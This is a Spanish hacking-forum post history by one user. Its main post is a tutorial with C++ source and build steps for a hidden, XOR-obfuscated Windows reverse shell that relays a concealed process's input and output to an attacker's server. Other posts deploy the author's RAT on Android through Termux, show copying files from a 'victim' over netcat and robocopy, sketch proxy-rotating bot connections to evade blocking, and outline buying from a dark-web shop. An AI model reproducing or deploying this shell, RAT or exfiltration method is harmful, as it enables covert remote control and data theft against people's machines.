Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - d3adly

#21
Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para mi es un placer  ;D
#22
Hola comunidad, hoy traigo la segunda parte del post anterior sobre No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:

  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: cpp

   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }

En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: cpp

BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd) 
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: text
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr

Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: cpp

   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }


La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion de como se creara la ventana del nuevo proceso. La funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: cpp

   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;

El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:

  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:

  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: cpp

CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)

La cual recibe los siguientes parametros:

Código: cpp

BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En este caso solo nos interesan 5 parametros:

  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}


El hilo el cual escribira al proceso va de la siguiente manera:
Código: cpp

while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}

la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: cpp

while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}

haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: cpp

ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);

esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: dos
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

O descargar desde aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: cpp
std::string strPassword = "$up3rP@sSw0rD";

con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: cpp
if(Cli->Connect("127.0.0.1", "1337")){

con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: cpp

Server *Srv = new Server(1337, "$up3rP@sSw0rD");

con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: cpp

PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)

O si ya lo clonaron, actualizan con:

Código: dos
git pull


Sinceras disculpas por el error.
#23
Dudas y pedidos generales / Re:Dark Web
Julio 05, 2020, 05:06:04 AM
Hola  @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, en teoria lo que debes hacer es instalar el navegador tor mas una VPN, compras bitcoins y te diriges a la tienda, haces tu carrito de compras y pagas. La pregunta es: es confiable?, no estoy muy seguro.

Saludos.
#24
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
o entiendo  la ultima linea  maquina que lo envia ,  ¿?
Supongo que lo que tienes actualmente es una shell inversa con netcat, entonces se puede decir que Maquina que recibe el archivo eres tu, y Maquina que lo envia es la otra pc o victima.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bueno pero de estar forma no podre copiar carpetas
No, usando el ejemplo que te di lo harias archivo por archivo.

Ademas de la manera en que estas usando el comando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta no lograras tu objetivo, ya que lo esta copiando solamente en la otra maquina. Para copiar entre distintas computadoras se hace con recursos compartidos como:
Código: dos

robocopy C:\CopiarEsto \\TU-COMPUTADORA\Recurso

siendo \\TU-COMPUTADORA\Recurso una carpeta compartida en tu pc con los permisos de escritura activados para que la otra pc o victima pueda copiarte los archivos especificados, en este caso C:\CopiarEsto.

Entonces, si no quieres hacerlo manualmente, crea una carpeta compartida en tu pc con permisos de escritura, por ejemplo Recibido. Luego en la sesion de netcat en la otra pc ejecutas el comando robocopy mas o menos asi:
Código: dos

ROBOCOPY C:\Users\51950\Pictures \\IP-DE-TU-PC\\Recibido


Saludos.
#25
Puedes hacer lo siguiente:

Maquina que recibe el archivo
Código: dos

nc -lp puerto > archivo.jpg


Maquina que lo envia
Código: dos

type archivo.jpg | nc ip-maquina-recibe puerto

Lo que realiza es que lee el contenido de archivo.jpg, y redirecciona la salida hacia el stdin de netcat. Y la maquina que recibe guarda todo lo que venga de netcat en archivo.jpg.
Tambien tendrias que monitorear el archivo para verificar que la transferencia se completo, ya que netcat no cierra la conexion aunque todos los datos se hayan transferido.

Saludos.
#26
Hacking Tools / unnamedRat en Android con Termux
Junio 29, 2020, 08:56:46 PM
Hola comunidad, hoy les traigo un pequeño tutorial de hacer uso de la herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en android gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Se procede a instalar termux, luego se instalan los siguientes paquetes:
Código: bash

pkg install openssl openssl-tool make git nano


Clonar el repo:
Código: bash

git clone https://github.com/d3adlym1nd/unnamed_rat.git


Luego nos dirigimos al directorio del servidor linux en ./unnamed_rat/Server/Linux/, y se edita el fichero headers.hpp con nano, modificando lo siguiente:
Código: cpp

//Si se quiere salida de texto con color
#define _COLOR

//Idioma del programa, comentar/descomentar como se requiera
#define ES
//#define EN

//Descomentar lo siguiente
#define _TERMUX

//Maximo de clientes a manejar
#define Max_Clients 10

El proposito de #define _TERMUX es para compilar el programa con la salida de texto y barra de progreso un poco mas reducidad.  Luego se compila con:
Código: bash
make


Una vez compilado se procede a generar el certificado y llave privada en el mismo directorio donde se encuentra el ejecutable del servidor:
Código: bash

openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes


Si hasta aqui el telefono no se prendio fuego, vamos bien.

Luego solo toca ejecutar el servidor en el telefono y el cliente en una pc:
Código: php
./server 31337


Aqui unas capturas
     

       

     

Ahora disponemos de la herramienta en cualquier momento y lugar. Espero les guste, tambien pueden revisar el proyecto No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ahora con documentacion en español e ingles ;D.

Saludos.
#27
La opcion de ddns en el router no tiene que ver. Verifica la configuracion del cliente DuckDNS y que la regla este correctamente en el router, ademas debes crear un regla en el firewall, ya que si este bloquea la conexion, no se podra establecer la comunicacion con tu servidor local.
#28
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, lo del handshake puede ser debido a la potencia de la señal o como se discute No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, puede ser que tu tarjeta no soporte la captura del handshake de la forma en que se realiza. Esta en ingles pero basicamente lo que dice es que el error de debe a que el handshake se realiza en modo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y la tarjeta no soporta captura en ese modo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que me podrian recomendar ustedes que use en lugar de wifislax.
Existen muchas distros como Kali, Parrot, etc. Aunque la mayoria usan aircrack-ng, entonces dale una revisada al tema que se discute en el enlace anterior para ver si el problema sea respecto a tu tarjeta.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y una cosa mas si saben de alguna pagina on-line bueno saludos
Que tipo de pagina, respecto a distros sobre auditorias a redes wifi?

Saludos.
#29
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, que sistema operativo usas?
En la  web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hay instrucciones para varios sistemas operativos. Luego de hacer la configuracion de la cuenta e instalacion del software requerido, solo toca abrir los puertos en el router.
Una vez logueado lo haces de la siguiente forma:
Click en Forward Rules
Luego en Port Mapping Configuration
Y despues en New. Aqui unas imagenes de como seria aproximadamente el proceso:
     

Al hacer click te aparecera mas abajo lo siguiente:

     

Espero te sirva saludos.
#30
Aparte del que te especifico @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta puedes mirar el repositorio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el cual contiene muchos codigos de ejemplo destinados para ser analizados.
#31
Off Topic / Re:{.reflexión} Cybersecurity - PARTE 1
Junio 28, 2020, 01:16:10 AM
Interesante tu reflexion @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, podria decirse que las empresas que estan involucradas en el ciberespacio tienden a interesarse mas en riqueza y proteccion de la misma y se descuida un factor muy crucial del cual depende su "imagen" y estabilidad, la ciberseguridad. Muchas veces es necesario que ocurra un incidente o se cree un nuevo lineamiento de gestion de ciberseguridad para empezar a reflexionar sobre como se esta manejando la informacion y activos de dicha empresa en el area teconologica. Cada vez estamos mas expuestos, la tecnologia avanza exponencialmente asi como lo hace el desinteres por la proteccion de informacion. Sera que se tiende a confiar en que el "otro" se encargara de todo?.
Podria decirse que estamos a merced de la infraestructura y como la ciberseguridad se maneja dentro de la misma por parte de empresas que prestan servicios. Lo que toca es intentar generar conciencia en que el mundo en la actualidad depende mucho de la tecnologia, y destacar que la ciberseguridad es lo primordial en este mundo.
Espero la segunda parte :D.
#32
Crea una lista de proxys dentro del codigo o en un archivo, luego al haber un error de conexion usas la siguiente proxy de la lista y asi sucesivamente.
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta te sugirio la web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, a partir de esa informacion creas un archivo o array dentro del codigo y realizas la implementacion algo asi:
Código: text

hilo Cliente(ProxyInicial){
   ProxyActual = ProxyInicial
   bucle{
        EnviarDatos(ProxyActual)
        SiHayerror{
             lock()
             ProxyActual = LeerSiguienteProxy()
             unlock()
        }
   }
}
#33
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta elimina la linea
Código: dos
START  "adb.exe"

Ya que la misma te inicia una nueva ventana con el comando adb.exe

Podria quedar asi:
Código: dos

@echo off
cd C:\adb
adb.exe devices
pause


Saludos
#34
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, como te dije puedes usa la clase WebBrowser, o podrias usar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, las dos te facilitaran el uso de proxys, ya que manualmente debes realizar un "handshake" con el servidor proxy antes de conectarte con la web destino.
Aqui un ejemplo usando HttpWebRequest:
Código: csharp

HttpWebRequest request = (HttpWebRequest)WebRequest.Create("www.sitio.com");
WebProxy myproxy = new WebProxy("IP-Proxy", Puerto-Proxy);
request.Proxy = myproxy;
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse) request.GetResponse();


Puedes incluir esa seccion de codigo en el hilo "ClienteConectar"
#35
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola la función conexióninicialconproxy() que clases se requieren(nunca he utilizado esto así que desconozco)
Y luego sigue conectaraservidorconproxy() Solo sería socket.connect o habría que indicarle algo más para que detecte el proxy
Es pseudocodigo, deberas adaptarlo al lenguaje correspondiente.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El contador es un socket que solo muestra sus conexiones activas por ello necesito crear canales que cada canal opere con un proxy para evitar bloqueos

Puedes probar a crear un bucle dentro del hilo y que envie una peticion http cada cierto tiempo con la cabecera Connection: Keep-Alive, talvez el servidor lo considere como un cliente real.
Otra opcion (asumiendo que sea en C#) es la clase No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la cual se puede usar con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, esto te simplificaria el trabajo en lo que es la creacion de sockets y el manejo de sesiones web.
#36
Claro que si, usando proxys puedes realizar multiples conexiones desde un cliente y cada una de estas se realizaria con una ip diferente. El pseudocodigo del cliente iria algo asi:
Código: text

hilo ClienteConectar(informacion_proxy, informacion_servidor){
   ConexionInicialConProxy(informacion_proxy)
   ConectarAServidorMedianteProxy(informacion_servidor)
   EnviarYRecibirDatos()
}

funcion Bot(){
   ListaProxys = {"111.111.111.111:1337", "21.22.22.22:1338", "55.55.55.55:8989"...}
   crear_hilo ClienteConectar(ListaProxys[0], "mocosoft.com:8080")
   crear_hilo ClienteConectar(ListaProxys[1], "mocosoft.com:8080")
   crear_hilo ClienteConectar(ListaProxys[2], "mocosoft.com:8080")
   ......
   Crear cuantos hilos sean necesarios
   
}


Planeas crear algun tipo de bot?

Saludos.
#37
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, al utilizar las redes sociales corres este tipo de riesgo, expones tu informacion. No sirve de nada que cierren la cuenta, basta con crearse una nueva. Lo que toca es aprender a sobrellevar este tipo de personas y ser mas cuidados@ con lo que compartes.

Saludos.
#38
Dudas y pedidos generales / Re:SSL Sockets
Junio 25, 2020, 11:31:42 PM
No, como te mencione anteriormente, haces las configuraciones iniciales del cliente, realizas la conexion, envias y recibes datos. Al realizar la conexion el servidor te envia su certificado y depende de ti validar o no su autenticidad.

Un ejemplo de validacion se puede observar en los navegadores. Una vez descargado el certificado del servidor, compara la llave publica usada para firmar el certificado con una lista de llaves publicas que trae por defecto de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Si no vas a manejar informacion sensible durante la conexion no es necesario que el cliente disponga de un certificado.

Saludos.
#39
Dudas y pedidos generales / Re:SSL Sockets
Junio 25, 2020, 09:23:14 PM
El certificado es necesario si quieres validar el servidor al cual te conectas. Puedes darle una ojeada a este articulo en la web de microsoft No tienes permitido ver los links. Registrarse o Entrar a mi cuenta posee ejemplos tanto para servidor como para cliente, tambien leete esto No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta encontraras otro ejemplo mas corto y te demuestra como generar un certificado, asumiendo que uses como IDE Visual Studio.

Saludos.
#40
Hola, muy interesante el tema. Estoy de acuerdo en que es mas facil "destruir" que "crear", aunque en mi opinion los cibercriminales que de verdad son experimentados llevan a otro nivel el uso normal de un software comun para beneficios delictivos, y el proceso que conlleva el desarollo de exploits o malware que aprovechen cierta vulnerabilidad requiere de mucho conocimiento en el area. Por otro lado el corregir errores o parchear vulnerabilidades tambien requiere de grandes conocimientos y habilidades. Entonces se podria decir que tanto un lado como el otro poseen sus recursos para llevar a cabo su objetivo, al final todo viene a ser cuestion de etica.

Respecto al idioma pienso que muchos optan por incluir el ingles como forma de documentacion en sus proyectos y uso cotidiano en lo que viene a ser la informatica en general, por el hecho de que es reconocido por muchos como la lengua universal. Podria decirse que vendria a ser cuestion de portabilidad o dirigir el mensaje al publico en general.

Saludos.